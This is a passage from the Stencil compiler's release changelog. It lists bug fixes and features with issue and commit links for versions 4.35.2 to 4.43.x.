* **compiler:** proper discovery and processing of external mixins / classes ([#6620](https://github.com/stenciljs/core/issues/6620)) ([0ee951e](https://github.com/stenciljs/core/commit/0ee951eca3b21facfd48afd90bd16ed5ef7877b0))
* **dist-custom-elements:** stop `render` function being stripped from imports ([#6623](https://github.com/stenciljs/core/issues/6623)) ([cd33ccb](https://github.com/stenciljs/core/commit/cd33ccb270761be9a3e2f9f4668231ff53bb42f7))
* **runtime:** init prop reactivity when ele.prop === instance.prop ([#6614](https://github.com/stenciljs/core/issues/6614)) ([ad6a344](https://github.com/stenciljs/core/commit/ad6a344cbe7145f8e810c322c608ed422d17a8b4))
* **runtime:** mixin get / set `@Prop` infinite loop ([#6618](https://github.com/stenciljs/core/issues/6618)) ([11201b5](https://github.com/stenciljs/core/commit/11201b5565b6122e6b9ad38014b21004d27904c1))
* **types:** provide warnings for ts 4094; anon classes may not be private or protected ([#6613](https://github.com/stenciljs/core/issues/6613)) ([3fbc441](https://github.com/stenciljs/core/commit/3fbc441849f82d6b2b88c3c79883f3a2a704d0a0))
* **types:** raise typescript errors even without `components.d.ts` ([#6616](https://github.com/stenciljs/core/issues/6616)) ([827d0d6](https://github.com/stenciljs/core/commit/827d0d6a61a90f288310070deae12c2a50e149a3))
## 🏹 [4.43.1](https://github.com/stenciljs/core/compare/v4.43.0...v4.43.1) (2026-02-20)
### Bug Fixes
* **compiler:** update rollup to fix watch hang ([#6603](https://github.com/stenciljs/core/issues/6603)) ([205856b](https://github.com/stenciljs/core/commit/205856b5fe2e15434938812c48d7b0e62a71f058)), closes [#6602](https://github.com/stenciljs/core/issues/6602)
* **declarations:** add rest params to h() ([#6604](https://github.com/stenciljs/core/issues/6604)) ([4d322a7](https://github.com/stenciljs/core/commit/4d322a75878cc14604c7b2cd747cdc3c17249fa5)), closes [#6181](https://github.com/stenciljs/core/issues/6181)
* **hmr:** non-shadow component styles within shadow parent ([#6601](https://github.com/stenciljs/core/issues/6601)) ([fc14281](https://github.com/stenciljs/core/commit/fc142814c67b4911b60cc15db912294fef87da81))
# 👒 [4.43.0](https://github.com/stenciljs/core/compare/v4.42.1...v4.43.0) (2026-02-13)
### Bug Fixes
* **compiler:** JSX Runtime Hydration Failure ([#6595](https://github.com/stenciljs/core/issues/6595)) ([8a34ac5](https://github.com/stenciljs/core/commit/8a34ac5cac109d8db83d0fe55dadb522e3b7c379))
### Features
* **dist-custom-elements:** new `autoLoader` option ([#6594](https://github.com/stenciljs/core/issues/6594)) ([e130b7a](https://github.com/stenciljs/core/commit/e130b7aa5f126684ccfa9bfd64e7ed438d1722a2))
## 🌍 [4.42.1](https://github.com/stenciljs/core/compare/v4.42.0...v4.42.1) (2026-02-06)
### Bug Fixes
* **compiler:** make `resolveVar` for import ([#6588](https://github.com/stenciljs/core/issues/6588)) ([e4eeb37](https://github.com/stenciljs/core/commit/e4eeb370d133c1e431f6513cbb1b2587fef01ab3))
* **compiler:** scrape build-conditionals from `FunctionalComponents` ([#6586](https://github.com/stenciljs/core/issues/6586)) ([d63bf5d](https://github.com/stenciljs/core/commit/d63bf5d8849eadd22d0644c00812aec8ff813ec6))
* **css:** make scoped 'slotted' selector replacement less greedy ([#6580](https://github.com/stenciljs/core/issues/6580)) ([10e6184](https://github.com/stenciljs/core/commit/10e61848cf8b0030e55be07f002be30c1cf2779e))
* **docs:** preserve css properties outside of production builds ([#6579](https://github.com/stenciljs/core/issues/6579)) ([69d331e](https://github.com/stenciljs/core/commit/69d331e85b9d4d6264689172e7051c211fe43404))
* **mock-doc:** add global instanceof `HTMLElement` / `SVGElement` plus new `MockLabelElement` ([#6581](https://github.com/stenciljs/core/issues/6581)) ([756b7aa](https://github.com/stenciljs/core/commit/756b7aadd203448feca54411477f5aad973f5a4d))
* **runtime:** `dist` parent should hydrate even when children fail ([#6583](https://github.com/stenciljs/core/issues/6583)) ([50ad901](https://github.com/stenciljs/core/commit/50ad9014e1a12ab21d1268c3651e921802783310))
* **runtime:** call `componentShouldUpdate` for every prop changed ([#6587](https://github.com/stenciljs/core/issues/6587)) ([dd4d2e6](https://github.com/stenciljs/core/commit/dd4d2e6ff43d6721e2ef914a3bdaf33f9c243c4e))
* **types:** don't include `[@internal](https://github.com/internal)` properties in dist build required fields ([#6585](https://github.com/stenciljs/core/issues/6585)) ([6136a67](https://github.com/stenciljs/core/commit/6136a67c441c3e7f0e25acb9643eb8f4ffe7d27d))
# 🚑 [4.42.0](https://github.com/stenciljs/core/compare/v4.41.3...v4.42.0) (2026-02-01)
### Bug Fixes
* **runtime:** use strict comparison when updating properties ([#6573](https://github.com/stenciljs/core/issues/6573)) ([e8dfc09](https://github.com/stenciljs/core/commit/e8dfc0973e25de29de395ea4130d9feb3f11b9dc))
* **types:** css import type ([#6569](https://github.com/stenciljs/core/issues/6569)) ([60802fc](https://github.com/stenciljs/core/commit/60802fce9e521e50a98533c4ded58f23b8739429))
### Features
* **compiler:** `CustomStateSet` support ([#6574](https://github.com/stenciljs/core/issues/6574)) ([cce1e23](https://github.com/stenciljs/core/commit/cce1e2328d1d9ba290ef10342c0bcb659b2bff36))
* **docs:** new `docs-custom-elements-manifest` output ([#6568](https://github.com/stenciljs/core/issues/6568)) ([df9d198](https://github.com/stenciljs/core/commit/df9d198b815bab381ab13ca444e7f85c99f6b077))
* **hydrate-script:** add `generatePackageJson` option to `dist-hydrate-script` ([#6571](https://github.com/stenciljs/core/issues/6571)) ([f2dbed7](https://github.com/stenciljs/core/commit/f2dbed7c7162147446e084541d67ef322639b3b0))
* **jsx:** `attr:` / `prop:` prefixes ([#6575](https://github.com/stenciljs/core/issues/6575)) ([aa599da](https://github.com/stenciljs/core/commit/aa599dabefd5df1058a512e03b785387e32e88d4))
* **runtime:** Remove redundant SSR style elements after adoptedStyleSheets adoption ([#6576](https://github.com/stenciljs/core/issues/6576)) ([bc90887](https://github.com/stenciljs/core/commit/bc9088793774bfd307800422a762362b4de603cd))
## 🎇 [4.41.3](https://github.com/stenciljs/core/compare/v4.41.2...v4.41.3) (2026-01-23)
### Bug Fixes
* **build:** auto add `name`, `form` and `disabled` to `formAssociated` components ([#6561](https://github.com/stenciljs/core/issues/6561)) ([4e19b99](https://github.com/stenciljs/core/commit/4e19b99dca2b8433d5ae0568eb30e58391b64264))
* **runtime:** `ref` callback order ([#6552](https://github.com/stenciljs/core/issues/6552)) ([e006cf7](https://github.com/stenciljs/core/commit/e006cf74ab49d1b534109dc315e51890f0f7a477))
* **runtime:** PropSerialize not called for JSX props before instance creation ([#6558](https://github.com/stenciljs/core/issues/6558)) ([88b3315](https://github.com/stenciljs/core/commit/88b3315c19dd1a7e41054e1a9e3ab028ad3fb7d8))
* **ssr:** support jsxImportSource within hydrate-script output ([#6563](https://github.com/stenciljs/core/issues/6563)) ([5ca9668](https://github.com/stenciljs/core/commit/5ca96689acba81c35c4b244d5f4ad6f06eaad5ac))
* **testing:** initialise mock-doc `childNodes` with get / set. Allows patching during tests ([#6564](https://github.com/stenciljs/core/issues/6564)) ([dbaa9fb](https://github.com/stenciljs/core/commit/dbaa9fbc288e045709f87a8cbb172aef26142472))
## 🐝 [4.41.2](https://github.com/stenciljs/core/compare/v4.41.1...v4.41.2) (2026-01-16)
### Bug Fixes
* **mock-doc:** handle undefined delay in setTimeout/setInterval ([#6539](https://github.com/stenciljs/core/issues/6539)) ([0d3a068](https://github.com/stenciljs/core/commit/0d3a068ed27185cefe63649e6625c2d4437c7788))
* **runtime:** bundle size ([#6549](https://github.com/stenciljs/core/issues/6549)) ([3de7ba6](https://github.com/stenciljs/core/commit/3de7ba6844cc7ed3cd961a185f7f06a37391f6f9))
* **runtime:** style elements use `textContent` for TrustedHTML assignment ([#6544](https://github.com/stenciljs/core/issues/6544)) ([a708bdc](https://github.com/stenciljs/core/commit/a708bdc430c8d4c752e88b9f5e71c52302f76ef3))
* **runtime:** various jsx-runtime behaviours ([#6538](https://github.com/stenciljs/core/issues/6538)) ([8f9efc5](https://github.com/stenciljs/core/commit/8f9efc5570983ff4d03580f4000ae5f844e7f641))
* **ssr:** style re-attachment, replaying init animations ([#6540](https://github.com/stenciljs/core/issues/6540)) ([43608fa](https://github.com/stenciljs/core/commit/43608fa32791c897ec06b1884616bde2a10ac307))
* **testing:** support `jsxImportSource` in internal jest test runner ([#6547](https://github.com/stenciljs/core/issues/6547)) ([6ac3b51](https://github.com/stenciljs/core/commit/6ac3b517a89434fb4c7a38d36a0fd786a5089310))
## 🌴 [4.41.1](https://github.com/stenciljs/core/compare/v4.41.0...v4.41.1) (2026-01-08)
### Bug Fixes
* **runtime:** fix jsxImportSource Fragment handling ([#6531](https://github.com/stenciljs/core/issues/6531)) ([953346e](https://github.com/stenciljs/core/commit/953346ebb2211dcb1826ee9b4bb1d153c92e6caf))
* **ssr:** remove global hack to stop duplicate tagTransformer instances ([#6529](https://github.com/stenciljs/core/issues/6529)) ([4bb24de](https://github.com/stenciljs/core/commit/4bb24dee2927491601c7b28f71fa099da52d2128))
* **types:** add IntrinsicElements to jsximportSource runtime definitions ([#6532](https://github.com/stenciljs/core/issues/6532)) ([0fa0bc8](https://github.com/stenciljs/core/commit/0fa0bc8e56bc6faabd9585e458d9687ea6fcdf44))
* **types:** FunctionalComponent can return null for jsxImportSource ([#6533](https://github.com/stenciljs/core/issues/6533)) ([82b47b8](https://github.com/stenciljs/core/commit/82b47b8e90b6eeaf916733d2ae05d0908916f9c9))
# 🏂 [4.41.0](https://github.com/stenciljs/core/compare/v4.40.1...v4.41.0) (2026-01-02)
### Bug Fixes
* **build:** always fail build on typescript failure ([#6520](https://github.com/stenciljs/core/issues/6520)) ([74aea99](https://github.com/stenciljs/core/commit/74aea99dffda483418ce8e61707b3dc50eb749a2))
* **cli:** `--stats` accepts optional path string as per documentation ([#6524](https://github.com/stenciljs/core/issues/6524)) ([42ebdfa](https://github.com/stenciljs/core/commit/42ebdfaaa9bc3b0c7600525f2a86f4cd09a3d97e))
* **compiler:** stop error from globalScript lack of default export ([#6527](https://github.com/stenciljs/core/issues/6527)) ([ba03ccf](https://github.com/stenciljs/core/commit/ba03ccf8f6caa0b19699e5931cc5fa231cd14fff))
* **css:** strip line breaks from final template literal ([#6517](https://github.com/stenciljs/core/issues/6517)) ([dfeeaec](https://github.com/stenciljs/core/commit/dfeeaecc82a3696db2ea3076f649c8088df5c12c))
* **runtime:** allow `cloneNode` patch even without <slot> ([#6513](https://github.com/stenciljs/core/issues/6513)) ([e893bd1](https://github.com/stenciljs/core/commit/e893bd13a851586532cbfac66d7213c28d0f09ca))
* **runtime:** delay non-shadow onConnectedCallback; make sure slotted content is available ([#6519](https://github.com/stenciljs/core/issues/6519)) ([9e38aa7](https://github.com/stenciljs/core/commit/9e38aa7a06f7afd722812e748e213ad2f1457da5))
* **runtime:** update non-shadow slotted content visibility via dynamic `<slot>` ([#6514](https://github.com/stenciljs/core/issues/6514)) ([cdcd873](https://github.com/stenciljs/core/commit/cdcd873a03de2534715320e6c758a808cab08ce1))
* **testing:** jest / mixin related errors ([#6512](https://github.com/stenciljs/core/issues/6512)) ([5c17422](https://github.com/stenciljs/core/commit/5c17422eee67ffff6f1166374e43d218ba82905f))
* **types:** components.d.ts - correctly import / export used enums ([#6522](https://github.com/stenciljs/core/issues/6522)) ([e243c6f](https://github.com/stenciljs/core/commit/e243c6f73ff8632851152b0b2f6a88eaa87c1bf4))
### Features
* **dev-server:** new `strictPort` property ([#6523](https://github.com/stenciljs/core/issues/6523)) ([cc12853](https://github.com/stenciljs/core/commit/cc1285363d85d87d5e686adcb7f5e9d93b7829b7))
* **runtime:** support tsconfig `jsxImportSource` (`h` import no longer necessary) ([#6525](https://github.com/stenciljs/core/issues/6525)) ([6482533](https://github.com/stenciljs/core/commit/648253360793cc6909aa631fe44dd34599e9d4e2))
## 🐂 [4.40.1](https://github.com/stenciljs/core/compare/v4.40.0...v4.40.1) (2025-12-23)
### Bug Fixes
* **compiler:** docs generation when using `excludedComponents` ([#6509](https://github.com/stenciljs/core/issues/6509)) ([4209437](https://github.com/stenciljs/core/commit/4209437ff371671a13fd0085611ab92abb73c1f5))
* **css:** `@container` query parsing ([#6508](https://github.com/stenciljs/core/issues/6508)) ([208a105](https://github.com/stenciljs/core/commit/208a1050c23d6de985c33d4f4a273d93e7b39a3b))
* **css:** escape backslashes ([#6506](https://github.com/stenciljs/core/issues/6506)) ([758b8ee](https://github.com/stenciljs/core/commit/758b8ee024a26da938dd335bf3c96be7269d9317))
* **runtime:** more robust `supportsConstructableStylesheets` test ([#6510](https://github.com/stenciljs/core/issues/6510)) ([484b1b8](https://github.com/stenciljs/core/commit/484b1b8682bc0ff9becedb5f180afa66e50c46fb))
# 🍌 [4.40.0](https://github.com/stenciljs/core/compare/v4.39.0...v4.40.0) (2025-12-23)
### Bug Fixes
* **compiler:** minify dist-custom-elements and hydrate-script ([#6482](https://github.com/stenciljs/core/issues/6482)) ([ec043cd](https://github.com/stenciljs/core/commit/ec043cdd0fc0fe5179e7b125039afbd034ea41a6))
* **compiler:** resolve node_modules css imports ([#6493](https://github.com/stenciljs/core/issues/6493)) ([84ac5b8](https://github.com/stenciljs/core/commit/84ac5b8cbe85be26cdf01bfa5d34fe455b853e6e))
* **css:** css imports with functions and media queries ([#6474](https://github.com/stenciljs/core/issues/6474)) ([249f84a](https://github.com/stenciljs/core/commit/249f84aab3f3597d132563907732b80d6ae1aade))
* **css:** enable parsing of native, nested css selectors ([#6480](https://github.com/stenciljs/core/issues/6480)) ([3506686](https://github.com/stenciljs/core/commit/35066867e13669ac1d19fb168e3ae85dc4dd42b6))
* **css:** pseudo-element selectors in nested media queries ([#6486](https://github.com/stenciljs/core/issues/6486)) ([20ce1ce](https://github.com/stenciljs/core/commit/20ce1ce3d5dd801f3648e5052891efff4965212b))
* **css:** strip comments before adding css to js ([#6487](https://github.com/stenciljs/core/issues/6487)) ([2892b4f](https://github.com/stenciljs/core/commit/2892b4f486f79db7ba19ab54b9c500e210cda926))
* **css:** vanilla css live-reload & added globalStyles to dev `<style>` ([#6488](https://github.com/stenciljs/core/issues/6488)) ([34cb672](https://github.com/stenciljs/core/commit/34cb672380b1e1b1b8818181e176dfe93dfca3cf))
* **dist-custom-elements:** index / default entry types ([#6489](https://github.com/stenciljs/core/issues/6489)) ([7b89b5c](https://github.com/stenciljs/core/commit/7b89b5c118facc6134c15ed5a9bc989cac227361))
* **runtime:** malformed `<template>` elements ([#6492](https://github.com/stenciljs/core/issues/6492)) ([8608bd9](https://github.com/stenciljs/core/commit/8608bd9f9041b495991da120dc72668c91d78437))
* **runtime:** respect slotted element initial 'hidden' property (non-shadow) ([#6499](https://github.com/stenciljs/core/issues/6499)) ([d3b8b7a](https://github.com/stenciljs/core/commit/d3b8b7ad437318b95f0842b77df9ed489c53f784))
* **runtime:** stop patching non-shadow components without `<slot>` ([#6483](https://github.com/stenciljs/core/issues/6483)) ([44fb8de](https://github.com/stenciljs/core/commit/44fb8deac59bd4d6f592ce88129ed1b377dca340))
* **sourcemaps:** generate entry sourcemaps during a dev build ([#6476](https://github.com/stenciljs/core/issues/6476)) ([e678159](https://github.com/stenciljs/core/commit/e67815968e67584aab0c50d4f8e43214c503d121))
* **ssr:** stop removing slotted whitespace ([#6477](https://github.com/stenciljs/core/issues/6477)) ([b4c5886](https://github.com/stenciljs/core/commit/b4c58864aef709bc40f183bd101123a6f209f3c8))
* **styles:** support rendering across documents ([#6481](https://github.com/stenciljs/core/issues/6481)) ([b73a44b](https://github.com/stenciljs/core/commit/b73a44b4c7bbfc8da783f37f012be709a0f7f19d)), closes [#6479](https://github.com/stenciljs/core/issues/6479)
* **testing:** always render `shadowrootdelegatesfocus` as a boolean ([#6490](https://github.com/stenciljs/core/issues/6490)) ([8f266de](https://github.com/stenciljs/core/commit/8f266dedc6429a669833576d0ab68cb2a6b9dccd))
* **testing:** puppeteer <= 22 executable path ([#6478](https://github.com/stenciljs/core/issues/6478)) ([ecb279a](https://github.com/stenciljs/core/commit/ecb279a393bb6dea57fa431db1cc605ea046f72a))
* **types:** correctly expand and resolve `type | generic<type>` ([#6495](https://github.com/stenciljs/core/issues/6495)) ([d43e29b](https://github.com/stenciljs/core/commit/d43e29b17c0f68b85b23bafba44504100e98a2d9))
### Features
* **api:** manual slot assignment ([#6497](https://github.com/stenciljs/core/issues/6497)) ([92097e4](https://github.com/stenciljs/core/commit/92097e492ded87c4d5f8bf9d8ee0add8ff178d1d))
* **compiler:** `sourceMap: "dev"` ([#6498](https://github.com/stenciljs/core/issues/6498)) ([0be1ea1](https://github.com/stenciljs/core/commit/0be1ea125c50d30ee0a1f36c79bb116633bf091f))
* **compiler:** new `excludeComponents` config option ([#6491](https://github.com/stenciljs/core/issues/6491)) ([f60693e](https://github.com/stenciljs/core/commit/f60693ed698cf10e801ed315fc742de79eb8062d))
* **types:** add Invoker Commands API attributes to button ([#6494](https://github.com/stenciljs/core/issues/6494)) ([792acf5](https://github.com/stenciljs/core/commit/792acf5deb485e16013723844c3437543abc87ea))
* **watch decorator:** new handler option `immediate` ([#6484](https://github.com/stenciljs/core/issues/6484)) ([7cc22f6](https://github.com/stenciljs/core/commit/7cc22f687b36b2af215c39b3577c5b8d1c5095d8))
# 🎭 [4.39.0](https://github.com/stenciljs/core/compare/v4.38.3...v4.39.0) (2025-12-08)
### Bug Fixes
* **lazyBundleIdPlugin:** fixed the issue with creation of orphaned '.map' files in the distribution directory ([#6455](https://github.com/stenciljs/core/issues/6455)) ([7155fe8](https://github.com/stenciljs/core/commit/7155fe8776fe25c6557188929c5a7e04f0212e97))
* **mixin:** allow `args` as a ctor argument & fix super call order during spec tests ([#6467](https://github.com/stenciljs/core/issues/6467)) ([afa4c2d](https://github.com/stenciljs/core/commit/afa4c2d7e4cf3efa937d9e187478d1ee508bfe4c))
### Features
* **runtime:** tag transformation - ([#6211](https://github.com/stenciljs/core/issues/6211)) ([be7d73e](https://github.com/stenciljs/core/commit/be7d73e695cfae678dacf8d6b3a1b42e967e8417))
* **compiler:** variables as decorators arguments - ([#6451](https://github.com/stenciljs/core/issues/6451)) ([fa9a025](https://github.com/stenciljs/core/commit/fa9a025ac584997a702483ef53f2b6125c9d196e))
## 😋 [4.38.3](https://github.com/stenciljs/core/compare/v4.38.2...v4.38.3) (2025-11-05)
### Bug Fixes
* **runtime:** modern class props detected in collections ([#6431](https://github.com/stenciljs/core/issues/6431)) ([e790c24](https://github.com/stenciljs/core/commit/e790c24f2205677f1f0cd8251110a608c864c5bb))
* **ts:** moduleResolution can now be `bundler`. Configurable module / noEmitOnError ([#6433](https://github.com/stenciljs/core/issues/6433)) ([5018e1e](https://github.com/stenciljs/core/commit/5018e1e3ebf03a4b560bba89a3642698ca3f2d9f))
* **types:** revert autocorrect omission ([#6441](https://github.com/stenciljs/core/issues/6441)) ([4719427](https://github.com/stenciljs/core/commit/47194274cb4d68adb1acb8a37984e9119c78859c))
## 🐎 [4.38.2](https://github.com/stenciljs/core/compare/v4.38.1...v4.38.2) (2025-10-17)
### Bug Fixes
* **build:** absolute to relative path conversion: greedy extension replacement ([#6421](https://github.com/stenciljs/core/issues/6421)) ([5341bf4](https://github.com/stenciljs/core/commit/5341bf4109391a98282f96479f6a7c3ab0a9ee8c))
* **mock-doc:** implement `part` API ([#6423](https://github.com/stenciljs/core/issues/6423)) ([a85d031](https://github.com/stenciljs/core/commit/a85d0312d6f199023e35c08bddea5a2da0c9f989))
* **types:** new `MixedInCtor` type to make `Mixin` components type-safe ([#6422](https://github.com/stenciljs/core/issues/6422)) ([b191267](https://github.com/stenciljs/core/commit/b191267afca98b033c8f7eda4f348a908814055b))
* **types:** temporary `autocorrect` fix ([#6426](https://github.com/stenciljs/core/issues/6426)) ([7044550](https://github.com/stenciljs/core/commit/70445506ed4e721db64b7e813fd9b8433c5ea957))
## 🚎 [4.38.1](https://github.com/stenciljs/core/compare/v4.38.0...v4.38.1) (2025-10-10)
### Bug Fixes
* **build:** add extended class source in collection dependencies ([#6412](https://github.com/stenciljs/core/issues/6412)) ([40516ea](https://github.com/stenciljs/core/commit/40516ea2b75b24471bd8fc8f37e47f0945be4a0f))
* **runtime:** better boolean attribute handling ([#6413](https://github.com/stenciljs/core/issues/6413)) ([06a2375](https://github.com/stenciljs/core/commit/06a2375f80f53d03c12859ef29ce27d40d8fec6b))
### Features
* **Test** Export internal `mockComponentMeta` object making writing custom output-target tests easier ([ef05b45](https://github.com/stenciljs/core/commit/ef05b4505a9313280bca5712dedcbc0444fa37a5))
# 🎿 [4.38.0](https://github.com/stenciljs/core/compare/v4.37.1...v4.38.0) (2025-10-02)
### Bug Fixes
* local (same-file) class inheritance search ([#6403](https://github.com/stenciljs/core/issues/6403)) ([695b1ac](https://github.com/stenciljs/core/commit/695b1acabd401bd0f7b6c945be3225e7896bbc14))
* **runtime:** stop immediate re-renders for reflected props when null !== undefined ([#6404](https://github.com/stenciljs/core/issues/6404)) ([680b12e](https://github.com/stenciljs/core/commit/680b12ec7302f169e5d251066e522b81071f8c4e))
* **test:** stop duplicate super calls in Jest ([#6401](https://github.com/stenciljs/core/issues/6401)) ([32160ad](https://github.com/stenciljs/core/commit/32160ad13beb1891f2cefbcf946f17fdb41aacf5))
* **test:** trigger @Watch decorators on inherited classes in jest env ([#6402](https://github.com/stenciljs/core/issues/6402)) ([f277068](https://github.com/stenciljs/core/commit/f2770687f592782ce2ff234da933f603ca9e31bb))
### Features
* **config:** allow suppressing reserved public name warning ([#6389](https://github.com/stenciljs/core/issues/6389)) ([341fec4](https://github.com/stenciljs/core/commit/341fec4ed01662126fbe0d1dfc3b230612b57bba))
* new core decorators `@PropSerialize` & `@AttrDeserialize` ([#6387](https://github.com/stenciljs/core/issues/6387)) ([967c234](https://github.com/stenciljs/core/commit/967c2346e9e736eabd16ed42495293b048b29431))
## 🏰 [4.37.1](https://github.com/stenciljs/core/compare/v4.37.0...v4.37.1) (2025-09-19)
### Bug Fixes
* **dist-custom-elements:** revert [#6381](https://github.com/stenciljs/core/issues/6381) ([77cfdb3](https://github.com/stenciljs/core/commit/77cfdb3b704205ced93b7a265ea0881fa2dd19d0))
* **Mixin:** export `MixinFactory` type for ease of use ([#6390](https://github.com/stenciljs/core/issues/6390)) ([a26114e](https://github.com/stenciljs/core/commit/a26114ee8a3d808ddb4731547842301628654312))
* **runtime:** stop eager json parsing for unknown and any type bindings ([#6384](https://github.com/stenciljs/core/issues/6384)) ([ccae0d7](https://github.com/stenciljs/core/commit/ccae0d743cd4eb2766eb7e48cb6add854c9fd640))
# ⛴ [4.37.0](https://github.com/stenciljs/core/compare/v4.36.3...v4.37.0) (2025-09-13)
### Bug Fixes
* **dist-custom-elements:** apply `initializeNextTick` config ([dbcdeff](https://github.com/stenciljs/core/commit/dbcdeff26a9b258f860c5774497e31b84690c7af))
* **dist-custom-elements:** apply `initializeNextTick` config setting ([#6382](https://github.com/stenciljs/core/issues/6382)) ([7bdf9fb](https://github.com/stenciljs/core/commit/7bdf9fbba0c84305cb7e0d749e0407ced5246b2f))
* **runtime:** make sure watchers can fire immediately if the custom element is already defined ([#6381](https://github.com/stenciljs/core/issues/6381)) ([4fb9140](https://github.com/stenciljs/core/commit/4fb914024b7a3a760a60feb3ecee21bd3d2c2749))
### Features
* new core api - Mixin ([#6375](https://github.com/stenciljs/core/issues/6375)) ([08f6583](https://github.com/stenciljs/core/commit/08f65838787866ce8749489e9ede36bcdfe15f0a))
* **runtime:** allow class extending ([#6362](https://github.com/stenciljs/core/issues/6362)) ([0456db1](https://github.com/stenciljs/core/commit/0456db148456911ba8cfb0af4af69ed2022763f9))
### BREAKING CHANGES
* **runtime:** Watchers will fire earlier than before, but this is the expected behavior
## 🐈 [4.36.3](https://github.com/stenciljs/core/compare/v4.36.2...v4.36.3) (2025-08-20)
### Bug Fixes
* **rollup:** proper `warn` handling ([#6357](https://github.com/stenciljs/core/issues/6357)) ([0831d2c](https://github.com/stenciljs/core/commit/0831d2c35bc16cdc27640353f141ebb2681cb925))
* **runtime:** fixed parsing of complex attributes that contains JSON strings ([#6359](https://github.com/stenciljs/core/issues/6359)) ([7047196](https://github.com/stenciljs/core/commit/7047196b877f48812783a4d158ac5b3149bcd839))
## 💚 [4.36.2](https://github.com/stenciljs/core/compare/v4.36.1...v4.36.2) (2025-07-28)
### Bug Fixes
* **bundle:** remove post order of node-resolve ([#6353](https://github.com/stenciljs/core/issues/6353)) ([19b56d1](https://github.com/stenciljs/core/commit/19b56d19772b2f113cdc87837305b55eedea0361)), closes [#6335](https://github.com/stenciljs/core/issues/6335)
## 🍺 [4.36.1](https://github.com/stenciljs/core/compare/v4.36.0...v4.36.1) (2025-07-18)
### Bug Fixes
* **runtime:** only patch non-shadow components with <slot>s ([#6348](https://github.com/stenciljs/core/issues/6348)) ([827b7f0](https://github.com/stenciljs/core/commit/827b7f0d553cde6afe5f9816c4907641d16f8c0f))
* **runtime:** stop applying patches to non-shadow / non-render() components ([#6349](https://github.com/stenciljs/core/issues/6349)) ([3a18a37](https://github.com/stenciljs/core/commit/3a18a377850a332cc70cfe756d663d9cc4d23872))
# 🎊 [4.36.0](https://github.com/stenciljs/core/compare/v4.35.3...v4.36.0) (2025-07-15)
### Bug Fixes
* contructable stylesheets with older immutable spec (chrome <99) ([#6332](https://github.com/stenciljs/core/issues/6332)) ([2f363dd](https://github.com/stenciljs/core/commit/2f363dd130101bfef566cec88209f13233f7e8e3)), closes [#6326](https://github.com/stenciljs/core/issues/6326)
* **runtime:** check shadow root nodes before appending them ([#6342](https://github.com/stenciljs/core/issues/6342)) ([c63f25d](https://github.com/stenciljs/core/commit/c63f25d0b40a3b9a2b51d1c66ab6b95154acc34a))
* **runtime:** do not remove first comment - can break frameworks ([#6343](https://github.com/stenciljs/core/issues/6343)) ([188e7db](https://github.com/stenciljs/core/commit/188e7dbfd785174dfe87a8c9ebffd75ffa8a7208))
* **runtime:** double check hostRef value ([#6341](https://github.com/stenciljs/core/issues/6341)) ([051522f](https://github.com/stenciljs/core/commit/051522f59851c7502ea2574abb7e0b0ded7f39bb))
* **runtime:** fix blur handling of non-scoped elements ([#6314](https://github.com/stenciljs/core/issues/6314)) ([bfbd683](https://github.com/stenciljs/core/commit/bfbd683efdd50ba56c9c3536c9a983209dec5d9c))
* **runtime:** fix prettier ([d84f9e7](https://github.com/stenciljs/core/commit/d84f9e7e5f2bf1ded5ff8d46ed5a71f9f74ad42d))
* **ssr:** `scoped: true` components forwarded slots ([#6340](https://github.com/stenciljs/core/issues/6340)) ([fd4b892](https://github.com/stenciljs/core/commit/fd4b892a73a593cac4939c98ebc2d9fa6f91fbdc)), closes [#6337](https://github.com/stenciljs/core/issues/6337), closes [#6339](https://github.com/stenciljs/core/issues/6339)
### Features
* **moc-doc:** serialize `delegatesFocus` shadow DOM property ([#6333](https://github.com/stenciljs/core/issues/6333)) ([56fe6e3](https://github.com/stenciljs/core/commit/56fe6e35a3638eb50c1a74db754b4893f86172f5)), closes [#6265](https://github.com/stenciljs/core/issues/6265)
* **runtime:** skip initial task queue to improve first time rendering ([#6331](https://github.com/stenciljs/core/issues/6331)) ([6106c70](https://github.com/stenciljs/core/commit/6106c70aa3aae10b7de920ae94fc569293aac8c9)), closes [#6317](https://github.com/stenciljs/core/issues/6317)
## 🎹 [4.35.3](https://github.com/stenciljs/core/compare/v4.35.2...v4.35.3) (2025-07-02)
### Bug Fixes
* **declarations:** add ToggleEvent type ([ac92210](https://github.com/stenciljs/core/commit/ac9221076c0dd25aefc02b85f22bd0cb7216203c))
## 🍓 [4.35.2](https://github.com/stenciljs/core/compare/v4.35.1...v4.35.2) (2025-07-02)
### Bug Fixes
* **ci:** hardening security of GH actions ([#6305](https://github.com/stenciljs/core/issues/6305)) ([3f80413](https://github.com/stenciljs/core/commit/3f80413171fadd150da36ff7abdad865226a54ae))
* **compiler:** fix attachInternals should be usable without formAssoc… ([#6286](https://github.com/stenciljs/core/issues/6286)) ([7132259](https://github.com/stenciljs/core/commit/7132259c40d231f03f521c6cbe19083a467795de)), closes [#6285](https://github.com/stenciljs/core/issues/6285)
* **declarations:** update toggle event handler types ([#6323](https://github.com/stenciljs/core/issues/6323)) ([5925974](https://github.com/stenciljs/core/commit/5925974d857c8d2a7b8b85e21478c7e3942888e8)), closes [#6322](https://github.com/stenciljs/core/issues/6322)
* **mock-doc:** prevent infinite recursion in blur event handlers ([#6310](https://github.com/stenciljs/core/issues/6310)) ([092cacd](https://github.com/stenciljs/core/commit/092cacda99b318ee8ccc7ad51591da07c869c366)), closes [#6307](https://github.com/stenciljs/core/issues/6307)
* **security:** update email for outreach ([9da2c90](https://github.com/stenciljs/core/commit/9da2c907af4012a4c006279870b04e7a9bae73b2))
* **ssr:** fixes for `scoped: true` components during SSR ([#6311](https://github.com/stenciljs/core/issues/6311)) ([b07dda6](https://github.com/stenciljs/core/commit/b07dda6c94a8f9c0262ebbd303582ba5ee209648)), closes [#6313](https://github.com/stenciljs/core/issues/6313)
* **ssr:** slow property hydration, incorrect rendering ([#6325](https://github.com/stenciljs/core/issues/6325)) ([f018c73](https://github.com/stenciljs/core/commit/f018c7349c38dbb467e5cdcebceefa3bd0e392cc)), closes [#6324](https://github.com/stenciljs/core/issues/6324)
* **utils:** single global stylesheet instance for performance ([#6320](https://github.com/stenciljs/core/issues/6320)) ([fe5d130](https://github.com/stenciljs/core/commit/fe5d1301270e21203009f8f6efece32fb491936d))
* **testing:** support browser executable path detection via environm… ([#6308](https://github.com/stenciljs/core/issues/6308)) ([b7e2b50](https://github.com/stenciljs/core/commit/b7e2b50120b1e69d797160a27f8d31c674f0ac13)), closes [#6213](https://github.com/stenciljs/core/issues/6213)
